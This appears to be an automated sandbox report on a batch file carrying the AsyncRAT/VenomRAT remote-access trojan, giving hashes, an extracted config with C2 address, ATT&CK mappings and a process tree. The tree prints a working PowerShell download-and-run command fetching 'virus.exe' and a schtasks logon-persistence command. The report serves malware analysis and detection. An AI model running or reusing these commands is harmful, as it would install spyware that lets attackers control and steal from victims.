asyncrat | 7f3067fd568421d59b16e35bdd9cbe94b3be7ce8b77e06b5ed4475fc70c683da

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 22:58

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General

Target

test.bat
Size

171KB
MD5

50143263c2d75d9d835e7ee09d4206bb
SHA1

5bc6c41e0f76004c48f1471d2d0dad7438cd72ab
SHA256

7f3067fd568421d59b16e35bdd9cbe94b3be7ce8b77e06b5ed4475fc70c683da
SHA512

1910b62136432ed8c26d050b4faf7d68d7b71fbc8bd190da9bb6cc9910ab0ff5a52882997832d50b7776e7cd017428fe86c1e0679b5c3100a686f5ba909d55b6
SSDEEP

192:CnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnF:q

Score

10^/10

asyncrat venomrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 2 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/files/0x000a000000023c7f-17.dat	VenomRAT
behavioral2/memory/1660-24-0x0000000000430000-0x0000000000448000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000a000000023c7f-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	2800	powershell.exe
17	2800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
1660	virus.exe
2936	WINDOWS.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2140	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2812	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2800	powershell.exe
2800	powershell.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
1660	virus.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe
2936	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	1660	virus.exe
Token: SeDebugPrivilege	2936	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2936	WINDOWS.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 3840	2040	cmd.exe	85
PID 2040 wrote to memory of 3840	2040	cmd.exe	85
PID 3840 wrote to memory of 2800	3840	cmd.exe	86
PID 3840 wrote to memory of 2800	3840	cmd.exe	86
PID 2800 wrote to memory of 1660	2800	powershell.exe	88
PID 2800 wrote to memory of 1660	2800	powershell.exe	88
PID 1660 wrote to memory of 3100	1660	virus.exe	89
PID 1660 wrote to memory of 3100	1660	virus.exe	89
PID 1660 wrote to memory of 3656	1660	virus.exe	90
PID 1660 wrote to memory of 3656	1660	virus.exe	90
PID 3656 wrote to memory of 2140	3656	cmd.exe	93
PID 3656 wrote to memory of 2140	3656	cmd.exe	93
PID 3100 wrote to memory of 2812	3100	cmd.exe	94
PID 3100 wrote to memory of 2812	3100	cmd.exe	94
PID 3656 wrote to memory of 2936	3656	cmd.exe	101
PID 3656 wrote to memory of 2936	3656	cmd.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\system32\cmd.exe
  cmd /k powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Users\Admin\AppData\Local\Temp\virus.exe
      "C:\Users\Admin\AppData\Local\Temp\virus.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1660
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3100
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEB98.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3656
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:2140
      - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kavkzkix.npd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEB98.tmp.bat

Filesize
151B

MD5
f2d81ea7a36dc7907b09b6193988676d

SHA1
0c38de14f7ac77df635e31dba8a0b14e6a944a7e

SHA256
8c823dc950d7f95abc6a34353185a4bd840e664335cae341bd5bfe14cd6b1867

SHA512
723f89b005e955ff095292f1c59bfa9bfa0b563a52507ea5cde41402ec5b895355d17cd5fbe97cf0205f20b5a8743a7e7b576e5f460c7d38450b9581e1132570

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/1660-32-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-24-0x0000000000430000-0x0000000000448000-memory.dmp

Filesize
96KB

Download
memory/1660-25-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-27-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download
memory/2800-12-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download
memory/2800-0-0x00007FFFD68E3000-0x00007FFFD68E5000-memory.dmp

Filesize
8KB

Download
memory/2800-11-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download
memory/2800-1-0x00000213B0490000-0x00000213B04B2000-memory.dmp

Filesize
136KB

Download
memory/2800-38-0x00007FFFD68E3000-0x00007FFFD68E5000-memory.dmp

Filesize
8KB

Download
memory/2800-39-0x00007FFFD68E0000-0x00007FFFD73A1000-memory.dmp

Filesize
10.8MB

Download